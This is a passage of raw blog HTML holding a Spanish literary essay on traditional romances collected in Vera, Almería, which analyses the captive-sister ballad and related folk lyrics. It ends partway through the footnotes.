style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Honradita vengo, padre, como la Virgen Mar\u00eda. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">&#8211; T\u00fa me vas a m\u00ed a decir <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">con los moros lo que hac\u00edas. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Los moritos son muy buenos y a m\u00ed sola me ten\u00edan <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">para cuidar de los pollos, los pavos y las gallinas. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/mujeresarabes.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-822\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/mujeresarabes-300x206.jpg\" alt=\"mujeresarabes\" width=\"300\" height=\"206\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/mujeresarabes-300x206.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/mujeresarabes.jpg 580w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La tem\u00e1tica del poema permite enclavarIo entre la serie morisca. Es muy com\u00fan la an\u00e9cdota del rapto de la moza cristiana que despu\u00e9s es rescatada por su caballero, si bien en el romance de don Bueso y todas sus versiones, se a\u00f1ade la variante de que el gal\u00e1n es el propio hermano de la cautiva (48). Nos recuerda, salvadas las distancias, las peripecias que serv\u00edan de base a las comedias cl\u00e1sicas antiguas y a la novela griega del XVI, o mejor dicho, al romance griego. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Ya en los tres primeros versos, que conservan la forma de uno de esos cantares primitivos, se atestiguan analog\u00edas de consideraci\u00f3n. En primer lugar la fuente como lugar en el que se produce el encuentro de los j\u00f3venes (49): <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Enbi\u00e1rame mi madre por agua a la fonte fr\u00eda: vengo del amor ferida. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">O como este otro: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">No me habl\u00e9is, conde, d&#8217;amor en la calle: cat\u00e1 que os dir\u00e1 mal, conde, la mi madre. Ma\u00f1ana yr\u00e9, conde, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">a lavar al r\u00edo; <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">all\u00e1 me ten\u00e9is, conde, a vuestro servicio. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.. (50) <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Luego, el hecho de ir a lavar siempre en relaci\u00f3n con el amor y la fuente o el r\u00edo:<\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Vide a Juana estar lavando en el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00edo y sin <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00e7<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">apatas, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y d\u00edxele suspirando: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00abd\u00ed, Juana, \u00bfpor qu\u00e9 me matas? <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">En este otro se implica ya a unas \u00abmoricas\u00bb: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Las tres moricas de allende \u00a1c\u00f3mo lavan i tuerzen i tienden tan bonitamente! (51) <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/MoriscosBailando.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-823\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/MoriscosBailando.jpg\" alt=\"MoriscosBailando\" width=\"224\" height=\"225\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/MoriscosBailando.jpg 224w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/MoriscosBailando-150x150.jpg 150w\" sizes=\"(max-width: 224px) 100vw, 224px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Pero el motivo del rapto en s\u00ed tambien tiene un reflejo en estas cancioncillas, llegando a un cierto grado de complejidad, aunque no tanto como el que presenta el romance: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00abAquella mora garrida <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">sus amores dan pena a mi vida.\u00bb Mi madre, por me dar plazer, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">a coger ITosas m&#8217;emb\u00eda; <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">moros andan a saltear <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y a m\u00ed ll\u00e9vanme cativa. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Sus amores dan pena a mi vida. [Moros andan a saltear <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y a m\u00ed ll\u00e9vanme cativa,] <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">el moro que me prendiera allende la mar m&#8217;emb\u00eda. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[Sus amores dan pena a mi vida.] [El moro que me prendiera allende la mar m&#8217; emb\u00eda;] <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">llorava quando lo supo <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">un amigo que yo av\u00eda. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Sus amores dan [pena a mi vida.] <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[Lloraba cuando lo supo un amigo que yo av\u00eda;] <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">con el gran dolor que siente estas palabras dez\u00eda: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00abSus amores dan pena a mi vida\u00bb (52). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Despu\u00e9s de lo que pudi\u00e9ramos llamar el pseudorrapto del romance, se produce un momento de simple reconocimiento por parte de la joven que producir\u00e1 la confusi\u00f3n en el caballero. En una secuencia gradati va, se llega a un cl\u00edmax determinado por lo que s\u00ed podr\u00eda ser denominado una anagn\u00f3risis: la mujer raptada no es una \u00abbella mora\u00bb, sino la propia hermana del raptor, en otro tiempo cautivada por los musulma<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">n<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">es. Por fin, ante la conciencia legitimadora representada por el padre, \u00e9ste formula una pregunta que nos revela enseguida ciertas claves sociales y comunes en la poes\u00eda que no s\u00f3lo remiten a tiempos pasados, sino a conservadurismos de hoy d\u00eda: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-\u00bfMe la traes deshonrada me la traes honradita? (53). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La respuesta de ella, que da fin al romance resulta de una inocencia que no necesita demostraci\u00f3n, y si no fuera por el tono general del poema, podr\u00edan ofrecerse lecturas diferentes. Sobre todo si tenemos en cuenta c\u00f3mo de manera insistente, a lo largo de la poes\u00eda popular, la que ahora nos interesa, el amante ha venido recibiendo el apelativo propio de diversas aves. V \u00e9anse si no estos ejemplos de la l\u00edrica tradicional: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Tres \u00e1nades, madre, pasan por aqu\u00ed: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">mal penan a m\u00ed. Madrugastes, vezina m\u00eda, a sacar pollos: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">plega a Dios no os encuentre el duende y os coma el coco (54). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">R. Jammes resuelve la expresi\u00f3n \u00absacar pollos\u00bb de la siguiente manera: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Ocupaci\u00f3n inocente cuando se toma al pie de la letra, m\u00e1s peligrosa si se tiene en cuenta el otro sentido, no registrado por los l\u00e9xicos, de la palabra <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>pollo. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Lo explica muy bien un comentarista an\u00f3nimo de G\u00f3ngora: \u00abQue la parte pudenda de la mujer se llame <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>p\u00e1jaro, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">bien lo dice el com\u00fan modo de hablar en Castilla, donde tambi\u00e9n suele llamarse <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>pollo. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[ &#8230; ] De la misma manera habr\u00e1 de interpretarse <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>palomo\u00bb (55). <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">En fin, a lo largo de estas p\u00e1ginas hemos asistido a la ejemplificaci\u00f3n y docu<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">m<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">entaci\u00f3n de dos romances recogidos en la actualidad en la localidad de Vera, Alme<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00eda. Para ello nos hemos remontado a los or\u00edgenes de este tipo de poes\u00eda y se ha tratado de explicar en cierta medida el trasiego de influencias que la preside en algunos aspectos. Sin embargo, s\u00f3lo se trata de una aproximaci\u00f3n, un acercamiento, a unos poemas que en exhaustividad cr\u00edtica nos llevar\u00edan mucho m\u00e1s lejos. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Arial,serif\"><span style=\"font-size: xx-small\">N<\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: xx-small\">otas <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(1) <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Lara Garrido, J.: \u00abIntroducci\u00f3n\u00bb. En <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Granada y el Romancero. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Universidad de <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Granada. Granada, 1990. p\u00e1g. xiii. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> (2) Frenk, M.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Literatura y folklore. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El Colegio de M\u00e9xico. M\u00e9xico, 1984. p\u00e1g. 15. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> (3) Como justifica M. Frenk: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La colectividad posee una tradici\u00f3n po\u00e9tico-musical, un caudal limitado de tipos mel\u00f3dicos y r\u00edtmicos, de temas y motivos literarios, de recursos m\u00e9tricos y procedimientos estil\u00edsticos (caudal limitado, pero no necesariamente reducido). Dentro de \u00e9l debe moverse el autor de cada nueva canci\u00f3n para que \u00e9sta pueda divulgarse; dentro de \u00e9l, tambi\u00e9n los innumerables individuos que, al correr del tiempo, la retocan y transforman. Queda poco margen para la originalidad y la innovaci\u00f3n, aunque \u00e9stas no est\u00e1n excluidas <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>[lbid., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">pp. 18-19]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> (4) Respecto a la tradici\u00f3n culta \u00ab[ &#8230; ] gustaba entonces [Siglo de Oro] realzar las <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">dimensiones generales, los rasgos que mejor se dejan enunciar en plural, y los elementos m\u00e1s espec\u00edficamente literarios, producidos por la din\u00e1mica interna de la propia literatura. Nunca se olvidaba que la poes\u00eda no es una actividad espont\u00e1nea y ad\u00e1nica, sino el lenguaje de una determinada convenci\u00f3n (nadie compone sonetos, o romances, o versos libres, porque los mueva un impulso ing\u00e9nito, sino porque se arrima a una l\u00ednea que aspira a prolongar y tal vez a renovar). Ni se olvidaba que el poema, por ende, puede decir mil cosas, pero antes de nada ha de confesarse a s\u00ed mismo, situarse dentro del sistema de imitaciones y emulaciones a que pertenece, y que puede mostrar mil hallazgos, pero en un cierto grado todos han de calibrarse dentro de la tradici\u00f3n en cuyo cauce ha nacido. Porque es ese un espacio en que ning\u00fan acierto se pierde, antes permanece como piedra de toque e incitaci\u00f3n a otros textos que se engarzan con \u00e9l\u00bb <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[J. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">F. A1cina y F. Rico, \u00abEstudio preliminar\u00bb. En Fern\u00e1ndez de Andrada, A.: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Ep\u00edstola moral a Fabio y otros escritos. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Cr\u00edtica. Barcelona, 1993. p\u00e1g. x]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>(5) Vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Torner, E.M.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>L\u00edrica hisp\u00e1nica. Relaciones de lo popular con lo culto. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Castalia. Madrid, 1966. Orduna, G.: \u00abLa secci\u00f3n de romances en el Cancionero General (Valencia, 1511): recepci\u00f3n cortesana del romancero tnidicional\u00bb, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>The Age ofthe Catholic Monarchs, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">1474-1516: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Literary Studies in Memory of Keith Whinnom, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Liverpool, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Bulletin of Hispanic Studies, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">special Issue, 1989, p\u00e1g. 113-122. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> (6) El poeta cortesano que celebra las gestas de Alfonso V <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">hace \u00aben la forma del <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">lamento de la soledad de la esposa y dentro de la antigua tradici\u00f3n de cantos femeninos de despedida, modalidad bien representada en el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romancero\u00bb <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">[G. di Stefano (ed.), <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Taurus. Madrid, 1993. p\u00e1g. 17]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> (7) La ausencia de una l\u00edrica tradicional castellana siempre fue incomprensible para <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">la cr\u00edtica, cuya labor investigadora ha llegado a reconocer tal poes\u00eda en compo<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">siiciones de los siglos XVI y XVII. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">S\u00e1nchez Romeralo, A.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>El villancico. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Gredos. Madrid, 1969. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Con este grado de estilo se est\u00e1 haciendo referencia a los que \u00absyn ningund orden, regla nin cuento fazen romances e cantares de que las gentes de baxa e servil condici\u00f3n se alegran\u00bb [Marqu\u00e9s de S antillana, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Poes\u00edas completas (2 <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">vols.). Castalia. Madrid, 1980. En Dur\u00e1n, M.: vol. 11, p\u00e1g. 214]. Los otros dos modos eran el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>sublime <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>mediocre. Vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">D. C. Clarke, \u00abThe Marqu\u00e9s de SantilIana and the Spanish Ballad Problem\u00bb, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Modern Philology, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">59 (1961-<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">1<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">962). p\u00e1gs. 13-24. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Frenk, M.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 17. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Ibid., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 31. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Un buen ejemplo es el personificado por el poeta portugu\u00e9s F. S\u00e1 de Miranda, que participa tanto de la l\u00edrica petrarquista como de la popular. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Frenk, M.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 21. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Id. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Como ejemplifica di Stefano, G.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 23: \u00abCon el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Claros <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">comparte el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Alarcos <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ese valor de emblema de un <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romancero <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">cortesano que vulgariza y escenifica genialmente n\u00facleos de la convenci\u00f3n tem\u00e1tica cancioneril\u00bb. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Salinas, F.: 